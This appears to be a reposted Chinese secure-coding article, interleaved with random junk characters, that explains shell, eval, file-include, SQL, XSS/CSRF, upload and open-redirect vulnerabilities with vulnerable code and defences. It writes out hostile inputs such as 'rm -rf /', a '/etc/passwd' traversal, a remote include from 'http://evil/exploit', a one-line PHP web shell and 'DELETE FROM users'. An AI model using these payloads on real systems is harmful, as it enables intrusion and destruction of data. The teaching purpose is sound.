|
几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入我们先来看一段perl的代码: [size=1em][size=1em]1 % t6 g; G' S1 w2 z* v7 ]5 d
[size=1em]2 6 c {# Q* N1 v! c# V! g
[size=1em]3 , u$ q- w9 R& k& Z) a K( g! _
[size=1em]4 ' f. q3 g7 S x
[size=1em]5
( Y t( o) E8 h3 a* n( V! @- g[size=1em]6
5 z0 b4 L1 z ^$ j- w1 T h+ Y[size=1em]7 9 i% f) Y' Q+ e0 j; e( \
[size=1em]8
1 K+ W! [1 q% r0 U7 L: Y& F8 d[size=1em]9
8 e a4 }# [2 w+ I- b[size=1em]10 ' W+ f; c8 t& W ^
[size=1em]11
5 e9 r: n1 x0 o- D/ c% r/ O | [size=1em][size=1em]use CGI qw(:standard);
+ k$ F* ]% \3 k[size=1em]$name = param('name');
- h3 w n) A1 N+ K, v$ j4 O. Y& K! T[size=1em]$nslookup = "/path/to/nslookup";& T4 H( i4 {6 D. J+ p, Q
[size=1em]print header;6 n1 f7 [3 z$ m6 V
[size=1em]if (open($fh, "$nslookup $name|")) {
+ D, c& h9 M/ m7 {' E[size=1em] while (<$fh>) {
: s% ?2 s4 p& d5 {[size=1em] print escapeHTML($_);
+ j- i! p9 Q3 x[size=1em] print "<br>\n";
9 t" Y3 A* ^7 g" q1 ^) F1 i1 e; u[size=1em] }; _/ b1 o, i) {, `( V! f
[size=1em] close($fh);
" L' p% ~- ^4 d0 w[size=1em]}
! ]5 N m( x n& J7 ~: A8 g1 I/ n( C! W/ A
|
. V3 ]0 {+ X! z+ R
+ W6 Z' p8 G8 q如果用户输入的参数是: [size=1em][size=1em]1
1 n* X5 z, A+ X A% c | [size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l
2 j( x- u9 W9 k6 c% }' E4 F: q0 n+ U. z3 s) a2 ^9 d; m, M
| ! o, X' E [# k1 e& [( H
% B4 |3 A K6 H4 u
那么,这段perl的程序就成了:
5 o8 g! y% z5 h[size=1em][size=1em]1
, R T7 u* L0 U8 B* O | [size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l. l2 }+ i6 z# w3 c
+ k! y" D+ g6 v6 W; w) \0 u4 p; Q
|
( t9 c" o7 d& P7 `; l
' }, n* Z! N' n我们再来看一段PHP的程序: [size=1em][size=1em]1
# G) } f2 O- ]0 C& S' {% |" H[size=1em]2 " {. U7 s$ [) o
[size=1em]3
! R& c& E1 u6 Y; U/ l | [size=1em][size=1em]$myvar = 'somevalue';
& o/ J7 U, B' T/ e( B/ K+ |[size=1em]$x = $_GET['arg'];
: v8 L9 u: A3 ?+ \2 x+ `[size=1em]eval('$myvar = ' . $x . ';');
9 A2 R6 S% R0 v+ Z4 [& u$ `( \$ h" B8 {: m x
| : h4 B# v5 u, `4 Q5 J5 A
( w- u# [# i/ J“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”) 再来看一个PHP的代码 [size=1em][size=1em]1 $ M& q! w" W0 {
[size=1em]2
! n4 F' Q4 i' y+ @( n1 Z' z* b[size=1em]3
3 e0 {6 @6 J4 P1 B- `: I4 m0 c3 w[size=1em]4 * x& u3 n) C7 M6 _
[size=1em]5
' Z {( U, W; ?( m, A7 M[size=1em]6 5 ?- I% z% q# p5 f0 P
| [size=1em][size=1em]$isadmin= false;, b) Q8 t% N8 }+ s3 U% m
[size=1em]...
3 B: }8 `! \% N8 d[size=1em]...
& C4 A3 y' \) k9 k[size=1em]foreach ($_GET as $key => $value) {3 T( @6 K* B2 {- b7 u
[size=1em] $$key = $value;
. v4 C: Q: Q- _( R1 z6 W. l- c[size=1em]}5 d: ?4 t1 C1 y3 G& w" b1 Y: I: T
0 D9 D/ V' H1 E# z# b: i3 t; z | 9 o J# B, L/ W
% D4 X; D$ n1 t
如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [size=1em][size=1em]1
1 i9 b @& @& ^, ]1 d( w[size=1em]2
, V0 n _; `* X[size=1em]3
1 K8 W/ I8 Y. {9 R* H* [/ D9 }[size=1em]4 ! Z: O* b3 Y9 l8 O; F
| [size=1em][size=1em]$action = 'login';1 O6 c. k8 U# @$ i+ @; l) j! D+ C. A
[size=1em] if (__isset( $_GET['act'] ) )
2 R, Q9 W4 F% \2 H, }: N[size=1em] $action = $_GET['act'];
- }1 A" a% q0 l[size=1em] require( $action . '.php' );' ]1 M7 r( P9 `8 U& [' v+ M
d* R% u3 p: e; G6 d
| # ]6 |: S% }) Z
, H, y/ o/ N2 a- J
这个代码相当危险,攻击者有可能可以干这些事: - /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
- /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
- /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)+ b/ l. d' \: b" O0 S$ c- w- A) `5 X' g
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: - 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。
8 @) I" @- S! }2 ~+ [% n8 N
例程: 某个网站的登录验证的SQL查询代码为 [size=1em][size=1em]1 ) `' ?/ X& ^7 q3 S2 J
[size=1em]2
8 x' E; q* Q, j& Z9 ] | [size=1em][size=1em]strSQL = "SELECT * FROM users
Y/ J/ x( A& w' k" b[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
- |7 Z( @4 _, V% R; h
/ b3 B9 A0 E9 R( U1 r | ( r9 ^/ M( t9 \9 Y/ M
/ c% R6 E; y# R! ]用户在登录时恶意输入如下的的用户名和口令: [size=1em][size=1em]1
" b S1 n! P! i0 I% Z3 y! S( _* ^ | [size=1em][size=1em]userName = "' OR '1'='1";
5 V) ?2 c. p) j6 I+ N3 ~
! v& ~/ }6 Z$ ]6 d% q |
$ l/ g( R2 e3 |7 v9 S
6 U+ d0 _6 s+ x1 U8 E0 x% `[size=1em][size=1em]1 ; y9 B. M5 D9 N+ V! y
| [size=1em][size=1em]passWord = "' OR '1'='1";
$ d- q6 {& {/ Y" V7 l. U9 p8 m* {
| / |: S& u9 T5 n5 p' C
: e/ W- x+ f/ j2 i v
此时,将导致原本的SQL字符串被解析为: [size=1em][size=1em]1 * i- R4 J# C9 m" J
[size=1em]2
# ?* T. ^3 g# E | [size=1em][size=1em]strSQL = "SELECT * FROM users
4 S( R: i/ @( X3 X1 ^2 F* [[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"
0 C: }# q6 A$ ~. k5 f3 @0 s
8 p: W9 `8 J( ]% \0 N |
# \6 }# f2 @4 t( d0 r+ j9 z$ d$ b+ p0 k7 h. I9 e2 f: G
也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [size=1em][size=1em]1
) y2 F- b# j4 m# q. F4 u" H | [size=1em][size=1em]strSQL = "SELECT * FROM users;"
" W% a }- d; p2 e0 ^; J
) H" z, ?7 G2 N2 V2 K8 k |
9 ]; p8 H/ ^: ^2 D1 D, Y5 Z7 T$ ?* b( I& i) p% ?6 I# M
这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [size=1em][size=1em]1
. z* x/ h6 E4 ]0 }- c! | | [size=1em][size=1em]username= "' ; DELETE FROM users; --";5 J0 r5 [% B r; j1 X0 t0 Y
* Z9 J1 t& [, n1 ]! b/ _( y" z |
, Y& V y5 G( h" \8 p! X0 M9 P
" V6 o( ]$ B9 {6 Y这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [size=1em][size=1em]1 , [6 f0 a5 p `+ ` r7 r ?
[size=1em]2
u! P3 f* m) [% R2 ]+ }; j6 b[size=1em]3 7 R. [$ I+ }! O2 d
[size=1em]4
6 q! s7 V# o) u8 L[size=1em]5
! D0 h) l1 C! J( }& d/ y | [size=1em][size=1em]<table background=”javascript:alert(1)”>
& L. J. D8 `2 h
: ]+ N) {: ]1 c( o6 Y8 C[size=1em]<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾
5 f4 `6 E6 `: g6 n' E
% @- M0 y! t+ n) E3 y[size=1em]<img src=”javascript:alert(1)”>- { `8 g# C" Q& n9 t0 `
8 B3 G! S$ l3 z. H0 t | 3 I7 e: L; p5 Z. A. L
: ], n# }: t) |5 G6 A3 k3 h6 q
XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [size=1em][size=1em]1
/ e0 @( ^5 F1 I- o; K | |
' b% T& {8 T! [0 \7 U: ]
; |; [8 W, q. O& _, |. z) i很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段: - 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。
- i. v# B: M# x) K' h; T$ M0 j# E
- 严格过滤用户的输入。如:
- PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
- Python的cgi.escape()
- ASP的Server.HTMLEncode()。
- Node.js的node-validator。
- Java的xssprotect。0 m* @, N9 d+ K/ p
* l8 y% G# C+ R
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。9 j4 F5 k8 q7 k: n, C! c; \
- 限制cookie的过期时间。
9 n1 o9 o# R2 b; G( ^
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)
' c- Q) y% Y# n6 m$ f
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。 上传文件上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: [size=1em]上传页面[size=1em]1 & r# h& t/ \9 n2 N: M
[size=1em]2 * Y2 @8 G+ ^* ]
[size=1em]3
$ f4 U" e% o% s0 _* X[size=1em]4
$ H$ U- {6 h8 K[size=1em]5 $ ~) {: W$ w& |2 F6 i) ?0 q) u3 U
[size=1em]6 1 X1 K9 [1 K, f a: x
[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">, B, f& v$ _9 D9 K; V0 @3 x P
[size=1em]要上传的文件:
/ v' \- {8 [, ~5 K3 D& m0 |[size=1em]<input type="file" name="filename"/> o) G9 _. _8 X% ?2 U- x4 Q, Y+ [4 H1 O! D
[size=1em]<br/>
6 a, t0 s4 ~: y8 B$ y[size=1em]<input type="submit" name="submit" value="Submit"/>
V% n2 C# D# g* P$ ?[size=1em]</form>- d( C. \% l& o- b* `0 _& A& R" k+ s
0 v Z! w _9 D( f# B! ~
9 u/ b: C3 N1 T) ?4 X
) ~+ c0 [& P- i6 k9 u
[size=1em]后台上传文件的PHP程序[size=1em]1
' y" ^9 m( Q) O' B. D' W6 z[size=1em]2
# Z- R' K4 X$ f[size=1em]3 , r F2 [1 J5 [6 h: e2 ^; F
[size=1em]4 & v$ a5 m& z. A* F5 l
[size=1em]5
/ K1 T& D! E. Q& i[size=1em]6
0 K+ f) b/ w( g2 R6 F; h[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);, G) P4 u2 Y t& |
[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){" s! B: r1 ~* B% A9 u9 l* n; ]
[size=1em] echo "图片文件上传成功";
. t! j; I0 a9 T. `[size=1em]}else{</div>: G. [! }6 C' q0 l$ F% m
[size=1em] echo "图片文件上传失败";
- K" a% G) o1 a5 V! U[size=1em]}
; U* d3 T$ f( T
B' P8 l8 F5 R' y4 H
, t9 D: l4 U3 t: T
, N2 ?( s( D0 _ H假如我上传了一个PHP文件如下: [size=1em]文件名malicious.php[size=1em]1 2 i& l" U7 _+ q
[size=1em]2 " c, {( f2 ~$ `& x( T. ~
[size=1em]3 ! c0 N3 r: y0 K, C. J) r$ P9 L
[size=1em][size=1em]<?php
8 O* |1 {6 t4 Q, [, ~, O[size=1em]system($_GET['cmd']);2 D8 ]- v* w. O/ I/ f" T
[size=1em]?>0 V* K% x/ w) C
# v$ }$ _" @$ }7 { - M8 X- F+ _# z! P& e: q
/ |2 C; T; v% ?' Q; P8 B6 d
那么,我就可以通过如下的URL访问攻击你的网站了: [size=1em][size=1em]1
& s9 m- E: w* _! C' K3 @% K | [size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l& w7 h4 }4 [7 y. `2 l
% H8 |8 q! x m; p2 @# _9 ]' }% N | . y( S& n5 @; c; ]; ^
* z7 k( |: t' V! U: Z( q- Z% z4 f
抵御这样的攻击有两种手段: 1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码: [size=1em][size=1em]1
( v! }( i) \6 _: s' S1 s n$ C M[size=1em]2
1 K. R/ d- h+ \7 R+ h | [size=1em][size=1em]$redirect_url = $_GET['url'];
" z: ~/ A1 r- E2 \. ~" B[size=1em]header("Location: " . $redirect_url);
1 X- @% O5 C; X$ K) e* E
' d1 i5 x4 @- b+ v/ T% e' g+ N | ; n, \- }" s! j7 |/ ?
8 [4 L# q7 ] X- j8 e
这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。 于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。 $ r/ x, p4 A4 S8 K. K) F& Z" Y
[size=1em][size=1em]1 / Z/ O* {1 G8 E+ a8 d1 p
| [size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net( b; O, e* A% H4 e, M
6 F) A2 w* U2 A0 t8 m
|
6 c3 E5 B& i4 h y6 f
- d- D: N5 b3 O9 K# a# _这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。 解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) |